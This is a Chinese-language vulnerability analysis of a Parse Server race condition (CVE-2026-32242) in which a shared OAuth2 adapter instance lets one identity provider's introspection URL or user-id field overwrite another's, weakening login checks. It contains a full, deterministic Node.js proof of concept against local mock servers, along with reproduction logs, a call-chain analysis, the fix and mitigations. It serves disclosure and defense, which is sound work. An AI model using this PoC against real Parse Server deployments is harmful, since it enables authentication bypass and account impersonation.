Parse Server 是一个开源后端,可以部署到任何能够运行 Node.js 的基础架构上。Parse Server 与 Express Web 应用框架兼容,既可以添加到现有的 Web 应用中,也可以独立运行。

一、漏洞说明

Advisory:https://github.com/parse-community/parse-server/security/advisories/GHSA-2cjm-2gwv-m892

Parse Server 用 auth adapter 校验第三方登录。OAuth2 这条不是每家一个对象。模块加载时就 new 了一次,loadAuthAdapter() 看到它已经是 AuthAdapter 实例,就把这个对象直接交出去,再调 validateOptions() 把当前 provider 的配置写进去。下一次另一家登录,写的还是同一块 this。

await 把读取拆成两截。requestTokenInfo() 在进入 fetch 之前读 this.tokenIntrospectionEndpointUrl,地址被这次调用的参数列表拿走了。validateAuthData() 等响应回来,才用当时的 this.useridField 决定比哪个字段。所以有两种错法:地址还没读走,就被下一家盖掉,token 送到别家的 introspection;地址已经读走了,字段名在 await 之后才读,比的是另一家的规则。

只配一家 OAuth2 provider 时没有第二份配置可写,窗口不存在。

二、基本信息

公开时间

2026-03-12

编号

CVE-2026-32242 / GHSA-2cjm-2gwv-m892

威胁类型

共享可变状态上的认证校验串线(CWE-362)

修复 commit

8.6.37 6afa431

;9.6.0-alpha.11 6009bc1

利用条件

同一进程里至少两家 oauth2: true

的 provider,登录请求会重叠

三、受影响版本

8.x:< 8.6.37,我跑的是 8.6.36

9.x:>= 9.0.0 且 < 9.6.0-alpha.11。

四、影响组件

Parse Server 是 Parse 的开源后端。auth 配置里可以把多家登录源挂进来。OAuth2 adapter 走 RFC 7662 的 token introspection:服务器拿着客户端送来的 access_token,POST 给这家 IdP,问这个 token 还活着没有、对应用户是谁。

问完之后用 useridField 从 JSON 里取用户 id,默认 sub。配成 email 就是必须对上邮箱。这次把两家故意配成不一样:A 看 email,B 看 sub。规则如果串了,A 的拒绝条件就不成立。

五、利用条件

  1. 进程里至少两家 provider 把 oauth2 设为 true,而且会走到这只内置适配器。只配一家时,没有人来覆盖 this。

  2. 两家登录在时间上重叠,或者后一家的 validateOptions() 发生在前一家读字段之前。单线程不等于没有窗口,await 就是窗口。

  3. 攻击者需要一份「按自家规则不该过、按另一家规则会过」的 introspection 结果。环境里面里 A 的响应同时带了 sub: attacker 和 email: owner@a.example,客户端声明的 id 是 attacker,introspection 是本机两个 HTTP 服务。

六、环境搭建

1. 测试环境

两个目录各装一个版本。PoC 用参数选目录,避免两个单例挤在同一个进程里。

mkdir -p pkg-vuln pkg-fixed
printf '%s\n' '{"name":"pkg-vuln","private":true,"dependencies":{"parse-server":"8.6.36"}}' > pkg-vuln/package.json
printf '%s\n' '{"name":"pkg-fixed","private":true,"dependencies":{"parse-server":"8.6.37"}}' > pkg-fixed/package.json
npm install --prefix pkg-vuln --omit=dev
npm install --prefix pkg-fixed --omit=dev
node poc.js pkg-vuln
node poc.js pkg-fixed

两个目录分别安装 8.6.36 和 8.6.37,看每条命令末尾的 added packages

2. PoC 设计思路:不靠 sleep 稳定复现竞态

竞态 PoC 最容易写成「起两个请求 + sleep 几十毫秒」,那样跑十次可能对三次。这份 PoC 用三个 deferred 把时序钉死:

  • seenA / seenB:两个 introspection 服务各自收到请求时 resolve,用来确认「两家都已经在流程中」。

  • releaseA:A 的 handler 收到请求后不立刻返回,await releaseA.promise 挂住。

  • 主流程等 seenA 和 seenB 都 resolve,此时 A 已经发出 fetch 并停在 await 上、B 的 validateOptions() 已经执行完,才 releaseA.resolve() 放行 A 的响应。

于是 A 读 this.useridField 时,this 上一定是 B 写的值。窗口不是碰出来的,是被构造出来的,跑多少次都一样。

phase 2 换一种触发方式:先同步 getValidatorForProvider('providerB'),再让 A 去 fetch。这一段不依赖任何并发时序,用来单独验证「introspection 地址被换掉」这条分支——phase 1 里地址是在 await 之前读走的,所以没被换(日志里 A 收 token-a、B 收 token-b),两条分支要分开验。

poc.js 做三件事:require 该版本 lib/Adapters/Auth/index.js,在 127.0.0.1:18741 和 18742 起两个 introspection,A 的响应先按住,等 B 的请求也到了再放行。然后跑两段。

#!/usr/bin/env node
'use strict';

const http = require('http');
const path = require('path');

const root = path.resolve(process.argv[2] || 'pkg-vuln');
const serverRoot = path.join(root, 'node_modules/parse-server');
const version = require(path.join(serverRoot, 'package.json')).version;

global.Parse = require(path.join(root, 'node_modules/parse/node'));
const createAuth = require(path.join(serverRoot, 'lib/Adapters/Auth/index.js'));

const PORT_A = 18741;
const PORT_B = 18742;

function readBody(req) {
  return new Promise((resolve, reject) => {
    const chunks = [];
    req.on('data', (c) => chunks.push(c));
    req.on('error', reject);
    req.on('end', () => resolve(Buffer.concat(chunks).toString('utf8')));
  });
}

function serve(port, onToken) {
  const server = http.createServer(async (req, res) => {
    if (req.method !== 'POST') {
      res.writeHead(404);
      res.end();
      return;
    }
    const raw = await readBody(req);
    const token = new URLSearchParams(raw).get('token');
    const body = await onToken(token);
    res.writeHead(200, { 'content-type': 'application/json' });
    res.end(JSON.stringify(body));
  });
  return new Promise((resolve) => {
    server.listen(port, '127.0.0.1', () => resolve(server));
  });
}

function deferred() {
  let resolve;
  const promise = new Promise((r) => {
    resolve = r;
  });
  return { promise, resolve };
}

async function main() {
  console.log('parse-server', version);
  const opts = {
    providerA: {
      oauth2: true,
      tokenIntrospectionEndpointUrl: `http://127.0.0.1:${PORT_A}/introspect`,
      useridField: 'email',
    },
    providerB: {
      oauth2: true,
      tokenIntrospectionEndpointUrl: `http://127.0.0.1:${PORT_B}/introspect`,
      useridField: 'sub',
    },
  };
  const hits = [];
  const seenA = deferred();
  const seenB = deferred();
  const releaseA = deferred();
  const serverA = await serve(PORT_A, async (token) => {
    hits.push(`A ${token}`);
    console.log(`introspect A received token=${token}`);
    seenA.resolve();
    await releaseA.promise;
    return { active: true, sub: 'attacker', email: 'owner@a.example' };
  });
  const serverB = await serve(PORT_B, async (token) => {
    hits.push(`B ${token}`);
    console.log(`introspect B received token=${token}`);
    seenB.resolve();
    return { active: true, sub: 'attacker', email: 'other@b.example' };
  });
  const auth = createAuth(opts, false);
  let adapterA = null;
  async function login(provider, authData) {
    const loaded = auth.getValidatorForProvider(provider);
    if (provider === 'providerA') adapterA = loaded.adapter;
    console.log(
      `load ${provider}: useridField=${loaded.adapter.useridField} url=${loaded.adapter.tokenIntrospectionEndpointUrl}`,
    );
    return loaded.validator(authData);
  }
  const pending = Promise.allSettled([
    login('providerA', { id: 'attacker', access_token: 'token-a' }),
    login('providerB', { id: 'attacker', access_token: 'token-b' }),
  ]);
  await seenA.promise;
  await seenB.promise;
  console.log(`both requests in flight; providerA adapter useridField is now ${adapterA.useridField}`);
  releaseA.resolve();
  const [ra, rb] = await pending;
  const describe = (r) =>
    r.status === 'fulfilled' ? 'ACCEPTED' : `REJECTED ${r.reason && r.reason.message}`;
  console.log('providerA', describe(ra));
  console.log('providerB', describe(rb));
  console.log('hits', hits.join(', '));
  console.log('--- phase 2: load providerB before providerA fetches ---');
  const loadedA = auth.getValidatorForProvider('providerA');
  const loadedB = auth.getValidatorForProvider('providerB');
  console.log('same instance:', loadedA.adapter === loadedB.adapter);
  console.log('providerA url after loading B:', loadedA.adapter.tokenIntrospectionEndpointUrl);
  console.log('providerA useridField after loading B:', loadedA.adapter.useridField);
  hits.length = 0;
  try {
    await loadedA.validator({ id: 'attacker', access_token: 'token-a2' });
    console.log('phase2 providerA ACCEPTED');
  } catch (err) {
    console.log('phase2 providerA REJECTED', err.message);
  }
  console.log('phase2 hits', hits.join(', '));
  serverA.close();
  serverB.close();
}

main().catch((err) => {
  console.error('FATAL', err);
  process.exit(1);
});

A 的响应是 { active: true, sub: "attacker", email: "owner@a.example" }。客户端 authData 是 { id: "attacker", access_token: "token-a" }。按 A 的 useridField: "email",attacker 不等于 owner@a.example,应该抛 OAuth2 access token is invalid for this user.

这次没配 appidField。配上的话,authDataValidator 会先 validateAppId(appIds, authData),适配器的方法却只把第一个参数当 authData。我另跑了一次,它真的去 fetch 了,token 是空的,然后 fetch failed。

七、漏洞复现

8.6.36 看这三行就够:两边请求还在发送的时候,A 的 useridField 已经是 sub,providerA ACCEPTED;phase 2 里 same instance: true,A 的 url 变成 18742,token-a2 被 B 收到,仍然接受。

8.6.36:字段被改成 sub,两段都接受,第二段 token 打到 B

8.6.37 同样三行反过来:请求在发送时A 的字段仍是 email,providerA REJECTED;phase 2 里 same instance: false,url 还是 18741,token-a2 回到 A,然后拒绝。

8.6.37:各拿各的实例,A 按 email 比对后拒绝

第一段我原先以为 Promise.all 会把 token-a 送到 B。日志不是这样:A 收到 token-a,B 收到 token-b。地址在 await 之前就读进 fetch 的参数了。变掉的是回来之后拿来比较的字段名。

第二段把顺序换掉:先加载 B,再让 A 去 fetch。8.6.36 上 A 的 url 变成 18742,token-a2 出现在 B 的日志里。8.6.37 上 token-a2 回到 A。

provider B 两边都接受,是因为 B 本来就看 sub,响应里的 sub 就是 attacker。它是对照。

左:地址先读走、字段后被换。右:地址还没读就被换。两边 8.6.36 都接受,8.6.37 都拒绝

八、调试环境

已经在跑的进程用 node --inspect poc.js pkg-vuln

{
  "version": "0.2.0",
  "configurations": [
    {
      "type": "node",
      "request": "attach",
      "name": "附加到 poc",
      "port": 9229,
      "skipFiles": ["<node_internals>/**"]
    }
  ]
}

下面这张是连上之后

调试器已连上,打开的是 lib/index.js。看 132 行换成 oauth 对象,139 行决定不拷贝

九、漏洞分析

1、两个文件各管什么

index.js 是调度。一次登录进来,它决定这家用哪个适配器,并把这家的配置塞进去。

oauth2.js 是干活的。它拿 access_token 去问 IdP,再看 JSON 里某个字段等不等于客户端声明的 id。地址和「看哪个字段」都不写死,是 index.js 每次加载时写进去的。

oauth2.js 末尾不是导出类,而是导出一个已经造好的对象。调试器停在模块加载这一行,红框就是 exports.default = new OAuth2Adapter()。此时还没有登录请求,调用栈里只有这一行,说明对象在 require 的时候就造好了。

红框:模块加载时 new 出唯一实例。此时还没有登录

export default new OAuth2Adapter();

整个进程里,谁 import 这个文件,拿到的都是这同一个对象。

2、index.js 怎么把两家写进同一个对象

实验配置是:

providerA: { oauth2: true, tokenIntrospectionEndpointUrl: 'http://127.0.0.1:18741/introspect', useridField: 'email' }
providerB: { oauth2: true, tokenIntrospectionEndpointUrl: 'http://127.0.0.1:18742/introspect', useridField: 'sub' }

login() 调用 getValidatorForProvider,它再调用 loadAuthAdapter。

第一步,这家带了 oauth2: true,不用别的内置表,改用上面那个对象。

image-20261117001516273

第二步,决定要不要拷贝。普通对象走 Object.assign,会得到一份新的。OAuth2 已经是实例,问号前面成立,拷贝不发生。

第三步,把这家配置写进这个对象

加载 A 时,写进去的是 18741 和 email。加载 B 时,还是这个对象,写成 18742 和 sub。

3、oauth2.js 把配置写在 this 上

进行赋值

4、两个读点不在 await 的同一侧

问 IdP 的是 requestTokenInfo。fetch 的第一个参数在调用前就算出来了。算出来那一瞬间地址是什么,这次 HTTP 就去哪。请求发出去之后再改 this 上的地址,改不了已经发出去的这一次。

决定放不放行的 if 在 await 回来之后,才读 this.useridField。

黄行在 await requestTokenInfo,还没到下面的 if。圆点在第 96 行的 fetch。终端是上一轮 phase 2

5、调用链

断在 await 那一行时,栈上还在的是 login → 匿名 validator → validateAuthData。loadAuthAdapter 和 validateOptions 已经返回,不在这张栈上。它们的作用是把 this 写好,链里标成「断点时已返回」:

入口  poc.js login()                              poc.js:106
  -> getValidatorForProvider()                    src/Adapters/Auth/index.js:214
  -> loadAuthAdapter()                            src/Adapters/Auth/index.js:145
       写: validateOptions()                      src/Adapters/Auth/oauth2.js:68
           把 url、useridField 写进共享的 this(断点时已返回)
  -> validator 闭包                               src/Adapters/Auth/index.js:77
       调用 validateAuthData                      src/Adapters/Auth/index.js:92
  -> validateAuthData()                           src/Adapters/Auth/oauth2.js:92
       await 前读: requestTokenInfo()             src/Adapters/Auth/oauth2.js:103
       await 后读: this.useridField               src/Adapters/Auth/oauth2.js:95
           sink:用可能已被另一家盖掉的字段做比较

6、修复

8.6.37 的 6afa431 只改了这一处,9.6.0-alpha.11 的 6009bc1 是同一句。

红框是修复的那一行。上面的测试只检查登录成功,没有检查 A 应被拒绝

oauth2 那个默认实例还在。变的是每次加载不再把它直接交出去,而是 new defaultAdapter.constructor()。constructor 就是类 OAuth2Adapter,再 new 一次得到空对象,validateOptions() 把这家的地址和字段写在这个新对象上。B 写自己的那份时,A 那份上的 email 和 18741 还在。

这个写法依赖默认导出确实是 OAuth2Adapter 的实例。如果以后改成导出普通对象,会走 Object.assign 那一支

十、修复措施

1、安全更新

8.x 升到 >= 8.6.37,9.x 升到 >= 9.6.0-alpha.11(或带有 6009bc1 的后续正式版)。

npm install parse-server@8.6.37

2、临时缓解

  1. 暂时只留一家 oauth2: true。没有第二份配置来写 this。

  2. 不要用这份内置适配器同时接两家策略不同的 IdP。自己写的 adapter 如果是普通对象,loadAuthAdapter() 会 Object.assign 一份,不走这个单例。

参考